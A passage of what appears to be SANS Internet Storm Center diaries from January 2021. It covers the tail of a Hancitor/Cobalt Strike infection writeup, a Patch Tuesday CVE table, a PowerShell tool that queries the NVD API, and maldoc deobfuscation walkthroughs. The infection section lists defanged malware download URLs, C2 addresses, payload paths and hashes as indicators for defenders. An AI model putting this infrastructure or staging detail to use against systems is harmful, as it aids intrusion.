  • hxxps://docs.google[.]com/document/d/e/2PACX-1vT_UMMUFR8J8IbN7rthTdttvciBU-17slZ2anuIq4A-8zT4xtF9ngzzyiEjlE8HSDZQ5tWu_w6HBFMf/pub
  • hxxps://docs.google[.]com/document/d/e/2PACX-1vQgYON0ZqbynIRhybfOxzkN8jUzIa-DkiYp-KOTxKzhFaDt2miDJBp14XJw8lMPHtU1tkIXDcwquIr-/pub

URLs that returned script to create the Word docs:

  • hxxp://savortrading[.]com/toweringly.php
  • hxxps://libifield.co[.]za/figs.php
  • hxxps://expertcircles[.]co[.]uk/assotiation.php
  • hxxps://libifield[.]co[.]za/oilcan.php
  • hxxp://3.133.244[.]105/irs.php

8 examples of downloaded Word docs (read: SHA256 hash - file name):

  • 080bade36015dd79925bab0975ac0f30f18424bdd1e7836d63c2dee350bdbd69 - 0112_528419802.doc
  • 2ac3b573d70c40c5c0fafe4e5914c723f2322a1c9cd76d232447654604ff8b76 - 0112_929792452.doc
  • 385425e94ed8ac21d7888550743b7a2b89afbeb51341713adb6da89cd63b5aff - 0112_203089882.doc
  • 7b013a271432cc9dea449ea9fcf727ed3caf7ce4cc6a9ba014b3dd880b5668dd - 0112_1079750132.doc
  • 8bcf45c2de07f322b8efb959e3cef38fb9983fdb8b932c527321fd3db5e444c8 - 0112_1005636132.doc
  • cab2a47456a2c51504a79ff24116a4db3800b099ec50d0ebea20c2c77739276d - 0112_722674781.doc
  • d6755718c70e20345c85d18c5411b67c99da5b2f8740d63221038c1d35ccc0b8 - 0112_153569242.doc
  • ed3fa9e193f75e97c02c48f5c7377ff7a76b827082fdbfb9d6803e1f7bd633ca - 0112_114086062.doc
  • Note: Each of the above files is 753,152 bytes in size.

SHA256 for 8 examples of DLL files dropped by the Word docs:

  • 00b2312dd63960434d09962ad3e3e7203374421b687658bd3c02f194b172bfe3
  • 0941090d3eb785dbf88fbfafffad34c4ab42877b279129616a455347883e5738
  • 43690eaf47245d69f4bda877c562852e4a9715955c2160345cb6cc84b18ca907
  • 82c9bc479ea92c1900422666792877e00256996ce2f931984115598ed2c26f23
  • 878319795a84ebfe5122d6fc21d27b4b94b3c28ad66679f841dec28ccc05e801
  • c3e06473c4c3d801c962e6c90ccbcab3d532fb5a6649077ea09cd989edf45eaf
  • cdcd5ee8b80d3a3863e0c55d4af5384522144011b071d00c9c71ae009305f130
  • edabef17fce2aaca61dbd17a57baf780cd82a2b0189b0cf3c5a7a3ca07e94a44
  • Note 1: Each of the above file is 570,368 bytes in size.
  • Note 2: Each file was saved at C:\Users\[username]\AppData\Roaming\Microsoft\Templates\W0rd.dll

Traffic to retrieve the Word doc:

  • port 443 - docs.google.com - HTTPS traffic
  • 104.31.80[.]93 port 80 - savortrading[.]com - GET /sacrifice.php

Hancitor post-infection traffic:

  • port 80 - api.ipify.org - GET /
  • 185.87.194[.]148 port 80 - fruciand[.]com - POST /8/forum.php

Binaries used to infect host with Cobalt Strike:

  • 47.254.175[.]0 port 80 - steroidi[.]pro - GET /2112.bin
  • 47.254.175[.]0 port 80 - steroidi[.]pro - GET /2112s.bin

Cobalt Strike Post-infection traffic:

  • 162.223.31[.]160 port 1080 - 162.223.31[.]160:1080 - GET /GvSL
  • 162.223.31[.]160 port 1080 - 162.223.31[.]160:1080 - GET /visit.js
  • 162.223.31[.]160 port 443 - HTTPS traffic

Final words

Hancitor has been active and evolving for years now, and it remains a notable presence in our current threat landscape.  This diary reviewed a recent infection on a vulnerable Windows host from malspam sent on Tuesday 2021-01-12.

Decent spam filters and best security practices should help most people avoid Hancitor infections. Default security settings in Windows 10 and Microsoft Office 2019 should prevent these these infections from happening.  However, it's a "cat-and-mouse" game, with malware developers developing new ways to circumvent security measures, while vendors update their software/applications/endpoint protection to address these new developments.  And malware distribution through email is apparently cheap enough to remain profitable for the criminals who use it.

A pcap of the infection traffic, some emails, and malware associated with today's diary can be found here.

Brad Duncan
brad [at] malware-traffic-analysis.net


Published: 2021-01-12

Microsoft January 2021 Patch Tuesday

This month we got patches for 83 vulnerabilities. Of these, 10 are critical, one was previously disclosed, and one is already being exploited according to Microsoft.

Amongst critical vulnerability, let’s start with the already being exploited CVE-2021-1647. It is related to a remote code execution (RCE) vulnerability affecting Microsoft Defender until version 1.1.17600. The CVSS for this vulnerability is 7.80.

There is also a RCE on Windows RPC Runtime (CVE-2021-1658). According to the advisory, it requires no user interaction, low privileges, and low attack complexity. This vulnerability had the highest CVSS score for this month: 8.80.

And finally, the previously disclosed one is a privilege escalation vulnerability affecting splwow64 (CVE-2021-1648). This zero-day has been publicly disclosed Google Project Zero (PZ2096) and the Zero Day Initiative (ZDI-CAN-11349 through 11351). According to ZDI advisory, the specific issue that may result in privilege escalation exists within the user-mode printer driver host process splwow64.exe due to lack of proper validation of user-supplied data. CVSS: 7.80.

See Renato's dashboard for a more detailed breakout: https://patchtuesdaydashboard.com

January 2021 Security Updates

CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG)
ASP.NET Core and Visual Studio Denial of Service Vulnerability
%%cve:2021-1723%% No No Less Likely Less Likely Important 7.5 6.5
Active Template Library Elevation of Privilege Vulnerability
%%cve:2021-1649%% No No Less Likely Less Likely Important 7.8 6.8
Azure Active Directory Pod Identity Spoofing Vulnerability
%%cve:2021-1677%% No No Less Likely Less Likely Important 5.5 4.8
Bot Framework SDK Information Disclosure Vulnerability
%%cve:2021-1725%% No No Less Likely Less Likely Important 5.5 4.8
Diagnostics Hub Standard Collector Elevation of Privilege Vulnerability
%%cve:2021-1651%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-1680%% No No Less Likely Less Likely Important 7.8 6.8
GDI+ Remote Code Execution Vulnerability
%%cve:2021-1665%% No No Less Likely Less Likely Critical 7.8 6.8
HEVC Video Extensions Remote Code Execution Vulnerability
%%cve:2021-1644%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-1643%% No No Less Likely Less Likely Critical 7.8 7.0
Hyper-V Denial of Service Vulnerability
%%cve:2021-1691%% No No Less Likely Less Likely Important 7.7 6.7
%%cve:2021-1692%% No No Less Likely Less Likely Important 7.7 6.7
Microsoft DTV-DVD Video Decoder Remote Code Execution Vulnerability
%%cve:2021-1668%% No No Less Likely Less Likely Critical 7.8 6.8
Microsoft Defender Remote Code Execution Vulnerability
%%cve:2021-1647%% No Yes Detected Detected Critical 7.8 7.0
Microsoft Edge (HTML-based) Memory Corruption Vulnerability
%%cve:2021-1705%% No No Less Likely Less Likely Critical 4.2 3.8
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2021-1713%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-1714%% No No Less Likely Less Likely Important 7.8 6.8
Microsoft Office Remote Code Execution Vulnerability
%%cve:2021-1711%% No No Less Likely Less Likely Important 7.8 6.8
Microsoft SQL Elevation of Privilege Vulnerability
%%cve:2021-1636%% No No Less Likely Less Likely Important 8.8 7.7
Microsoft SharePoint Elevation of Privilege Vulnerability
%%cve:2021-1712%% No No Less Likely Less Likely Important 8.0 7.0
%%cve:2021-1719%% No No Less Likely Less Likely Important 8.0 7.0
Microsoft SharePoint Server Remote Code Execution Vulnerability
%%cve:2021-1707%% No No More Likely More Likely Important 8.8 7.7
Microsoft SharePoint Server Tampering Vulnerability
%%cve:2021-1718%% No No Less Likely Less Likely Important 8.0 7.0
Microsoft SharePoint Spoofing Vulnerability
%%cve:2021-1641%% No No Less Likely Less Likely Important 4.6 4.0
%%cve:2021-1717%% No No Less Likely Less Likely Important 4.6 4.0
Microsoft Windows Media Foundation Remote Code Execution Vulnerability
%%cve:2021-1710%% No No Less Likely Less Likely Important 7.8 6.8
Microsoft Word Remote Code Execution Vulnerability
%%cve:2021-1715%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-1716%% No No Less Likely Less Likely Important 7.8 6.8
Microsoft splwow64 Elevation of Privilege Vulnerability
%%cve:2021-1648%% Yes No Less Likely Less Likely Important 7.8 7.0
NTLM Security Feature Bypass Vulnerability
%%cve:2021-1678%% No No Less Likely Less Likely Important 4.3 3.8
Remote Procedure Call Runtime Remote Code Execution Vulnerability
%%cve:2021-1658%% No No Less Likely Less Likely Critical 8.8 7.7
%%cve:2021-1660%% No No Less Likely Less Likely Critical 8.8 7.7
%%cve:2021-1664%% No No Less Likely Less Likely Important 8.8 7.7
%%cve:2021-1666%% No No Less Likely Less Likely Critical 8.8 7.7
%%cve:2021-1667%% No No Less Likely Less Likely Critical 8.8 7.7
%%cve:2021-1671%% No No Less Likely Less Likely Important 8.8 7.7
%%cve:2021-1673%% No No Less Likely Less Likely Critical 8.8 7.7
%%cve:2021-1700%% No No Less Likely Less Likely Important 8.8 7.7
%%cve:2021-1701%% No No Less Likely Less Likely Important 8.8 7.7
TPM Device Driver Information Disclosure Vulnerability
%%cve:2021-1656%% No No Less Likely Less Likely Important 5.5 4.8
Visual Studio Remote Code Execution Vulnerability
%%cve:2020-26870%% No No Less Likely Less Likely Important 7.0 6.1
Windows (modem.sys) Information Disclosure Vulnerability
%%cve:2021-1699%% No No Less Likely Less Likely Important 5.5 4.8
Windows AppX Deployment Extensions Elevation of Privilege Vulnerability
%%cve:2021-1642%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-1685%% No No Less Likely Less Likely Important 7.3 6.4
Windows Bluetooth Security Feature Bypass Vulnerability
%%cve:2021-1683%% No No Less Likely Less Likely Important 5.0 4.4
%%cve:2021-1684%% No No Less Likely Less Likely Important 5.0 4.4
%%cve:2021-1638%% No No Less Likely Less Likely Important 7.7 6.7
Windows CSC Service Elevation of Privilege Vulnerability
%%cve:2021-1652%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-1653%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-1654%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-1655%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-1659%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-1688%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-1693%% No No Less Likely Less Likely Important 7.8 6.8
Windows CryptoAPI Denial of Service Vulnerability
%%cve:2021-1679%% No No Less Likely Less Likely Important 6.5 5.7
Windows DNS Query Information Disclosure Vulnerability
%%cve:2021-1637%% No No Less Likely Less Likely Important 5.5 4.8
Windows Docker Information Disclosure Vulnerability
%%cve:2021-1645%% No No Less Likely Less Likely Important 5.0 4.4
Windows Event Logging Service Elevation of Privilege Vulnerability
%%cve:2021-1703%% No No Less Likely Less Likely Important 7.8 6.8
Windows Event Tracing Elevation of Privilege Vulnerability
%%cve:2021-1662%% No No Less Likely Less Likely Important 7.8 6.8
Windows Fax Compose Form Remote Code Execution Vulnerability
%%cve:2021-1657%% No No Less Likely Less Likely Important 7.8 6.8
Windows GDI+ Information Disclosure Vulnerability
%%cve:2021-1708%% No No Less Likely Less Likely Important 5.7 5.0
Windows Graphics Component Information Disclosure Vulnerability
%%cve:2021-1696%% No No Less Likely Less Likely Important 5.5 4.8
Windows Hyper-V Elevation of Privilege Vulnerability
%%cve:2021-1704%% No No Less Likely Less Likely Important 7.3 6.4
Windows InstallService Elevation of Privilege Vulnerability
%%cve:2021-1697%% No No Less Likely Less Likely Important 7.8 6.8
Windows Installer Elevation of Privilege Vulnerability
%%cve:2021-1661%% No No Less Likely Less Likely Important 7.8 6.8
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2021-1682%% No No Less Likely Less Likely Important 7.0 6.1
Windows LUAFV Elevation of Privilege Vulnerability
%%cve:2021-1706%% No No Less Likely Less Likely Important 7.3 6.4
Windows Multipoint Management Elevation of Privilege Vulnerability
%%cve:2021-1689%% No No Less Likely Less Likely Important 7.8 6.8
Windows NT Lan Manager Datagram Receiver Driver Information Disclosure Vulnerability
%%cve:2021-1676%% No No Less Likely Less Likely Important 5.5 4.8
Windows Print Spooler Elevation of Privilege Vulnerability
%%cve:2021-1695%% No No Less Likely Less Likely Important 7.8 6.8
Windows Projected File System FS Filter Driver Information Disclosure Vulnerability
%%cve:2021-1663%% No No Less Likely Less Likely Important 5.5 4.8
%%cve:2021-1670%% No No Less Likely Less Likely Important 5.5 4.8
%%cve:2021-1672%% No No Less Likely Less Likely Important 5.5 4.8
Windows Remote Desktop Protocol Core Security Feature Bypass Vulnerability
%%cve:2021-1674%% No No Less Likely Less Likely Important 8.8 7.7
Windows Remote Desktop Security Feature Bypass Vulnerability
%%cve:2021-1669%% No No Less Likely Less Likely Important 8.8 7.7
Windows Remote Procedure Call Runtime Elevation of Privilege Vulnerability
%%cve:2021-1702%% No No Less Likely Less Likely Important 7.8 6.8
Windows Runtime C++ Template Library Elevation of Privilege Vulnerability
%%cve:2021-1650%% No No Less Likely Less Likely Important 7.8 6.8
Windows Update Stack Elevation of Privilege Vulnerability
%%cve:2021-1694%% No No Less Likely Less Likely Important 7.5 6.5
Windows WLAN Service Elevation of Privilege Vulnerability
%%cve:2021-1646%% No No Less Likely Less Likely Important 6.6 5.8
Windows WalletService Elevation of Privilege Vulnerability
%%cve:2021-1681%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-1686%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-1687%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-1690%% No No Less Likely Less Likely Important 7.8 6.8
Windows Win32k Elevation of Privilege Vulnerability
%%cve:2021-1709%% No No More Likely More Likely Important 7.0 6.1

Renato Marinho
Morphus Labs| LinkedIn|Twitter


Published: 2021-01-11

Using the NVD Database and API to Keep Up with Vulnerabilities and Patches - Tool Drop: CVEScan (Part 3 of 3)

Now with a firm approach to or putting an inventory and using the NVD API (https://isc.sans.edu/forums/diary/Using+the+NIST+Database+and+API+to+Keep+Up+with+Vulnerabilities+and+Patches+Part+1+of+3/26958/ and https://isc.sans.edu/forums/diary/Using+the+NIST+Database+and+API+to+Keep+Up+with+Vulnerabilities+and+Patches+Playing+with+Code+Part+2+of+3/26964/), for any client I typically create 4 inventories:

  • Devices/appliances and applications that are exposed at the perimeter (public internet or other firewalled trust boundary)
  • Server applications and devices/appliances
  • Workstation  applications
  • IOT devices (in workstation or dedicated VLANs/subnets)

As we've noted, you can use nmap as a short-cut for a first draft of any products that have listening ports.  It's not perfect, but it gives you a decent starting point, or something to "diff" against from one scan to the next.  To just get your the CPE list for a subnet or range of IPs, this does the trick nicely:

nmap -p <ports> -sV --open <subnet> | grep -i cpe | awk -F" "  "{print $NF}" | sort | uniq

(-F gives the delimiter, the print command prints the $NF field.  Since $NF is the number of fields, it prints the last one, which happens to be the CPE).

For a recent client, a scan of just the server subnet gave me this:


.. so a decent starting point, printers, UPS's, iLo or idrac are almost never patched for instance, or sadly very often not hypervisors either.  Note that nmap didn't give me CPEs for any of the 3 different databases on that subnet.

Let's focus on the first one of these four target lists - perimeter services for an actual customer.
Starting with Cisco FTD (Firepower Threat Defense), we see that even the titles vary from version to version, and the versions are very granular for this product
>type official-cpe-dictionary_v2.3.xml | grep -i title | grep -i cisco | grep -i firepower | grep -i -v management | grep -i "threat defense"
( excerpt only)

    <title xml:lang="en-US">Cisco Firepower Threat Defense (FTD)</title>
    <title xml:lang="en-US">Cisco Firepower Threat Defense</title>
    <title xml:lang="en-US">Cisco Firepower Threat Defense 6.6.0</title>
    <title xml:lang="en-US">Cisco Firepower Threat Defense (FTD) 6.6.1</title>

Since this is such a lengthy (and version-specific) list, let's try to consolidate.  From cisco's download site, the latest and recommended version (as of today) is 6.6.1.  Knowing that this client will be "close to current" on this, a quick look for FTD 6.6:


gives us these hits:


So our final input data file has the following (hostname followed by the cpe "blanket" query):


Let's add in the Citrix Netscaler Gateway (now called ADC).  The ADC is a pretty versatile appliance, it can be a load balancer, a firewall, a front-end for a Citrix farm, or (just like everyone else these days) and SD-WAN solution.  In our case it's a front-end for a Citrix XenServer farm.
The current version is 13.x, so let's search for all of 13.*:


Finally, this client also has an application that uses Apache Struts, which they have been very particular about monitoring since the Equifax breach:
The current stable version is 2.5.26, let's hunt for cpe:


So our perimeter input file will look like this (again, the fields are hostname,cpe):


We'll call our code with (note the input filename):

cvescan.ps1 -i Customername.Perimeter.in -d 90

This will give us the CVEs for the indicated platforms, for the last 90 days, sorted from high severity to low.

And our code will look like the listing below (maintained at https://github.com/robvandenbrink/CVEScan ):



# Version 1.iscisc0

# Assess an inventoried infrastructure from pre-inventoried CPEs and published CVEs


# Hosted at https://github.com/robvandenbrink/CVEScan


# Further documentation at:

#         https://isc.sans.edu/forums/diary/Using+the+NIST+Database+and+API+to+Keep+Up+with+Vulnerabilities+and+Patches+Part+1+of+3/26958/

#         https://isc.sans.edu/forums/diary/Using+the+NIST+Database+and+API+to+Keep+Up+with+Vulnerabilities+and+Patches+Playing+with+Code+Part+2+of+3/26964/

#         https://isc.sans.edu/forums/diary/Using+the+NVD+Database+and+API+to+Keep+Up+with+Vulnerabilities+and+Patches+Tool+Drop+CVEScan+Part+3+of+3/26974/


# Syntax:

#         CVEScan.ps1  -i <input file> -d <how many days back to look>



param (







function helpsyntax {

write-host "CVESCAN: Assess a known inventory against current CVEs"

write-host "Parameters:"

write-host "    -i          <input file name>"

write-host "Optional Parameters:"

write-host "    -d          <CVEs for last "n" days>"

write-host "cvescan -i perimeterdevices.in -d 60"




if ($daterange -eq 0) { write-host "ERROR: Must specify input filename and date range`n" ; helpsyntax }


# setup

$allCVEs = @()

$CVEDetails = @()


$apps = Import-Csv -path $infile

$now = get-date

$outfile = $infile.replace(".in",$now.tostring("yyyy-MM-dd_hh-mm")+"_"+$daterange+"-days.html")

$StartDate = $now.adddays(-$daterange).tostring("yyyy-MM-dd")+ "T00:00:00:000%20UTC-00:00"


# Collect host to CVEs table

foreach ($app in $apps) {

    $request = "https://services.nvd.nist.gov/rest/json/cves/1.0?modStartDate=" + $StartDate + "&cpeMatchString=" + $app.cpe

    $CVEs = (invoke-webrequest $request | ConvertFrom-Json).result.CVE_items.cve.CVE_data_meta.id

    foreach ($CVE in $CVEs) {

        $tempobj = [pscustomobject]@{

            Hostname = $app.hostname

            CVE = $CVE


        $allCVEs += $tempobj




$Header = @"


TABLE {border-width: 1px; border-style: solid; border-color: black; border-collapse: collapse;}

TH {border-width: 1px; padding: 3px; border-style: solid; border-color: black; background-color: #6495ED;}

TD {border-width: 1px; padding: 3px; border-style: solid; border-color: black;VERTICAL-ALIGN: TOP; font-size: 15px}




$filepath = gci $infile


$Title = @()

$Title += [pscustomobject]@{ Organization="Scope";bbb=$filepath.basename.split(".")[1] }

$Title += [pscustomobject]@{ Organization="From Date:"; bbb=($now.adddays(-$daterange).tostring("yyyy-MM-dd")) }

$Title += [pscustomobject]@{ Organization="To Date:";bbb=$now.tostring("yyyy-MM-dd") }


(($Title | convertto-HTML -title "CVE Summary" -Head $header) + "<br><br><br>").replace("bbb",$filepath.basename.split(".")[0]) | out-file  $outfile


(($allCVEs | Convertto-HTML -Head $header) + "<br><br>") | out-file -append $outfile


#parse out just the CVEs

$justCVEs = $allCVEs | select CVE | Sort-Object | Get-Unique -AsString


# collect CVE info

foreach ($CVE in $justCVEs) {

    $h = ""

    $request = "https://services.nvd.nist.gov/rest/json/cve/1.0/" + $CVE.CVE

    $cvemetadata = (invoke-webrequest $request) | convertfrom-json

    $CVEURLs = $cvemetadata.result.cve_items.cve.references.reference_data.url

    $affectedApps = ($cvemetadata.result.CVE_items.configurations.nodes.children.cpe_match) | where {$_.vulnerable -eq "true" } | select cpe23Uri,versionendincluding


    # add the affected hosts back into the detailed listing

    # write-host $CVE.CVE

    foreach ($ac in $allCVEs) {

        if ($ac.CVE -eq $CVE.CVE) {

            $h += ($ac.Hostname + "<br>")




    $tempobj = [pscustomobject]@{

        CVE = $CVE.CVE

        Hosts = $h

        # Just the datestamp, remove the clock time

        "Published Date" = ($cvemetadata.result.cve_items.publishedDate).split("T")[0]

        "CVE Description" = $cvemetadata.result.cve_items.cve.description.description_data.value

        Vector = $cvemetadata.result.CVE_items.impact.basemetricv3.cvssv3.attackVector

        "Attack Complexity" = $cvemetadata.result.CVE_items.impact.basemetricv3.cvssv3.attackComplexity

        "User Interaction" = $cvemetadata.result.CVE_items.impact.basemetricv3.cvssv3.userInteraction

        "Base Score" = $cvemetadata.result.CVE_items.impact.basemetricv3.cvssv3.baseScore

        "Severity" = $cvemetadata.result.CVE_items.impact.basemetricv3.cvssv3.baseSeverity

        "Reference URLs" = ($CVEURLs | ft -hidetableheaders | out-string).replace("`n","`n<br>")

        "Affected Apps" = ($affectedapps | ft -HideTableHeaders | out-string).replace("`n","`n<br>")


    $CVEDetails += $tempobj



# to just view the detailed output

# $CVEDetails | out-gridview


# to output to HTML

$Header = @"


TABLE {border-width: 1px; border-style: solid; border-color: black; border-collapse: collapse;}

TH {border-width: 1px; padding: 3px; border-style: solid; border-color: black; background-color: #6495ED;}

TD {border-width: 1px; padding: 3px; border-style: solid; border-color: black;VERTICAL-ALIGN: TOP; font-size: 15px}




# Note that the <br> tags get escaped, these are un-escaped below

# this is a horrible hack, but I can't find a decent "elegant" way to do this

# ... in less than 5x the time it took me to do it the ugly way  :-)



(($CVEDetails | sort -descending -property "Base Score" )| Convertto-HTML -Head $header) -replace '&lt;br&gt;', '<br>' | out-file  -append $outfile


Our output is dumped into: Customername.Perimeter-dateandtime-days.html, so for this example and today's date: Customername.Perimeter2021-01-11_09-50_90-days.html (note that the output filename mirrors the input filename - change that if you need)

Note also in the output that I had to un-escape all of the line breaks that were in the output (sometimes the quick and dirty methods win over perfect code)

Looking at that file, our output (truncated) looks as below.  The lead in is the customer and date range info, followed by the CVE's found on which host.  The final table contains all the CVE details, in descending / unique order of "Base Score" of Severity:


 As mentioned, the code is on my github - use it or modify it to suit your needs.  For the most part it's a short list of API requests, with parsing, formatting and I/O bolted on - so if you'd prefer this to be in a different language of course feel free!

If you were able to head off a "situation" in your environment, or if that nmap trick finds something unexpected in your environment, please do post to our comment form (subject to NDA's of course)

Rob VandenBrink


Published: 2021-01-10

Maldoc Analysis With CyberChef

In diary entry "Maldoc Strings Analysis" I show how to analyze a malicious document, by extracting and decoding strings with command-line tools.

In this video, I analyze the same malicious Word document, using CyberChef only. This is possible, because this particular maldoc contains a very long string with the payload, and this string can be extracted without parsing the structure of this .doc file.

I pasted the recipe on pastebin here.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2021-01-09

Maldoc Strings Analysis

As I announced in my diary entry "Strings 2021", I will write some diary entries following a simpler method of malware analysis, namely looking for strings inside malicious files using the strings command. Of course, this simple method will not work for most malware samples, but I still see enough samples for which this method will work.

Like this recent malicious Word document. When you analyze this sample with oledump.py, you will find an obfuscated PowerShell command inside the content of the Word document.

But we are not going to use oledump this time. We will look directly for strings inside the document, using my tool strings.py (similar to the strings command, but with some extra features).

When we run strings.py with option -a on the sample, a report with statistics will be produced:

We see that strings.py extracted 1549 strings, and that the longest string is 15944 characters long.

That is unusual for a Word document, to contain such a long string. We run strings.py again, now with option -n 15000: this specifies that the minimum length of the strings extracted by strings.py should be 15000. Since there is only one string that is longer than 15000 in this sample, we will see the longest string (and only the longest string, no other strings):

This looks like a BASE64 string (ending with ==), except that there are a lot of repeating characters that are not BASE64 characters: ] and [.

What we have here, is obfuscation through repeated insertion of a unique string. I explain this in detail in my diary entry "Obfuscation and Repetition".

]b2[ is propably the string that is inserted over and over again to obfuscate the original string. To be sure, we can use my ad-hoc tool deobfuscate-repetitions.py:

So the repeating string actually seems to be ]b2[s (appearing 2028 times), and when you removing this repeating string, the string that remains starts with cmd cmd ...

My tool deobfuscate-repetitions.py will continue running looking for other potential repeating strings, but it's clear that we found the correct one here, so we can just stop my tool with control-C.

And now that we used my tool to detect repeating strings, we will use it to deobfuscate the original string. This is done by using option -f (find) to find a deobfuscated string that contains a string we specify, cmd in this example:

And what we see here is a PowerShell command with a BASE-64 encoded script as argument.

If we still had any doubts if this was a malicious document, then this is a clear result that the sample is malicious.

And up til now, we didn't use any special tool to look inside the malicious Word document (.doc): just the strings command.

For this sample, we don't need to understand the structure of a Word document, or be familiar with a tool like oledump.py to peek inside a Word document. You just need some familiarity with the command-line, and be able to run the strings command with some options.

If your objective was to determine if this Word document is malicious or not, then you have succeeded. Just by using a strings command.

If your objective was to figure out what this Word document does, then we need to analyze the PowerShell command.

Tomorrow, I will publish a video where I do the full analysis with CyberChef. Here I will continue with command-line tools.

Next, we use my base64dump.py tool to find and decode the BASE64 script:

Like all BASE64-encoded PowerShell scripts passed as an argument, the script is in UNICODE. We use option -t utf16 to transform it to ASCII:


What we see here, is an obfuscated PowerShell script. When we take a close look, we can see fragments of urls. Strings containing URL fragments are concatenated in this PowerShell script. We will remove the concatenation operator (+) and other characters to reasemble the fragments, using command tr:

So we start to see some words, like family, but we still need to remove some characters, like the single quote:

And parentheses:

So now we have something that looks like a URL, except that the protocol is not what we expect (HTTP or HTTPS). We can use my tool re-search.py to extract the URLs:

If you want to understand why we have ss and s as protocol, and why @ terminates most URLs, we still need to do some analysis.

First, we use sed to put a newline character after each ; (semicolon), to have each PowerShell statement on a separate line, and make the script more readable:

And then we grep for family to select the line with URLs:

Notice here that the protocol of each URL contains string ]b2[s, and that there is a call to method replace to replace this string with string http.

Let's do this with sed ([ and ] have special meaning in regular expressions used by sed, so we need to escape these characters: \[ and \]):

Finally, we have complete URLs. If we use re-search again, to extract the URLs, we get a single line:

This time, re-search is not extracting indivudual URLs. That's because of the @ character: this is a valid character in URLs, it is used to precede the protocol with credentials (username:password@hxxp://example[.]com). But this is not what is done in this PowerShell script. In this script, there are several URLs, and the separator is the @ character. So we replace the @ character with a newline:

And finally, re-search.py gives us a list of URLs:

For this sample, extracting the malicious PowerShell script is quite easy, just using the strings command and a string replacement. Decoding the script to extract IOCs takes more steps, all done with command line tools.

In next diary entry, I will publish a video showing the analysis of the same sample with CyberChef.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2021-01-08

Using the NIST Database and API to Keep Up with Vulnerabilities and Patches - Playing with Code (Part 2 of 3)

Building on yesterday's story - now that we have an inventory built in CPE format, let's take an example CVE from that and write some code.  What's in the NVD database (and API) that you can access, then use in your organization?

First, let's play with CVE-2020-24436, which is an Acrobat Reader vulnerability.  In PowerShell, let's construct our query, then from the results pull out all the bits that we're interested in.

$request = "https://services.nvd.nist.gov/rest/json/cve/1.0/CVE-2020-24436"
$cvemetadata = ( (invoke-webrequest $request) | convertfrom-json)

Let's start with the Published Date.  Note again that there's also a "last modified" date - the idea being that if a CVE gets updated that the modified date will reflect that.  Even looking at that briefly though that "last modified" date seems to be programatic, so I think it's getting changed when folks don't intend it - my first check was a Peoplesoft vuln from 2017, it had a 2020 last modified date for no reason I could see.  Anyway, here's the published date:

$PublishedDate = $cvemetadata.result.cve_items.publishedDate


Next, the text description.  This is where the "traditional" CVE delivery paths fall down - they generally give you get the CVE number, then this text description, maybe a severity score.  This is fine for news stories or your report to management, but it's not something you can "monitor" when hundreds of them fly by every day.  Sorry about the rant, but I guess that's why we're playing with this code, so that you can build your own delivery mechanism for your organization.  Anyway, back to the text description:

$CVEDesc = $cvemetadata.result.cve_items.cve.description.description_data.value

Acrobat Pro DC versions 2020.012.20048 (and earlier), 2020.001.30005 (and earlier) and 2017.011.30175 (and earlier) are affected by an out-of-bounds write vulnerability that could result in writing past the end of an allocated memory structure. An attacker could leverage this vulnerability to execute code in the context of the current user. This vulnerability requires user interaction to exploit in that the victim must open a malicious document

The Reference URLs that may have more detail (usually there's a vendor URL in this list):


The data on severity and scope.  This is what we used to call the CVSS score, but you can see there's a lot more detail in this metadata now:

$CVE_CVSSv3Data = $cvemetadata.result.CVE_items.impact.basemetricv3.cvssv3
version               : 3.1
vectorString          : CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
attackVector          : LOCAL
attackComplexity      : LOW
privilegesRequired    : NONE
userInteraction       : REQUIRED
scope                 : UNCHANGED
confidentialityImpact : HIGH
integrityImpact       : HIGH
availabilityImpact    : HIGH
baseScore             : 7.8
baseSeverity          : HIGH


We know what's installed on our affected host, but what versions of the application are affected by this CVE?  Note that list gives you both vulnerable and unaffected versions (True or False in the "vulnerable" field):



vulnerable cpe23Uri                                                   versionEndIncluding
---------- --------                                                   -------------------
      True cpe:2.3:a:adobe:acrobat:*:*:*:*:classic:*:*:*              20.001.30005       
      True cpe:2.3:a:adobe:acrobat_dc:*:*:*:*:classic:*:*:*           17.011.30175       
      True cpe:2.3:a:adobe:acrobat_dc:*:*:*:*:continuous:*:*:*        20.012.20048       
      True cpe:2.3:a:adobe:acrobat_reader:*:*:*:*:classic:*:*:*       20.001.30005       
      True cpe:2.3:a:adobe:acrobat_reader_dc:*:*:*:*:classic:*:*:*    17.011.30175       
      True cpe:2.3:a:adobe:acrobat_reader_dc:*:*:*:*:continuous:*:*:* 20.012.20048       
     False cpe:2.3:o:apple:mac_os:-:*:*:*:*:*:*:*                                        
     False cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* 

Winnowing this down to just the vulnerable versions:

($cvemetadata.result.CVE_items.configurations.nodes.children.cpe_match) | where {$_.vulnerable -eq "true" }

vulnerable cpe23Uri                                                   versionEndIncluding
---------- --------                                                   -------------------
      True cpe:2.3:a:adobe:acrobat:*:*:*:*:classic:*:*:*              20.001.30005       
      True cpe:2.3:a:adobe:acrobat_dc:*:*:*:*:classic:*:*:*           17.011.30175       
      True cpe:2.3:a:adobe:acrobat_dc:*:*:*:*:continuous:*:*:*        20.012.20048       
      True cpe:2.3:a:adobe:acrobat_reader:*:*:*:*:classic:*:*:*       20.001.30005       
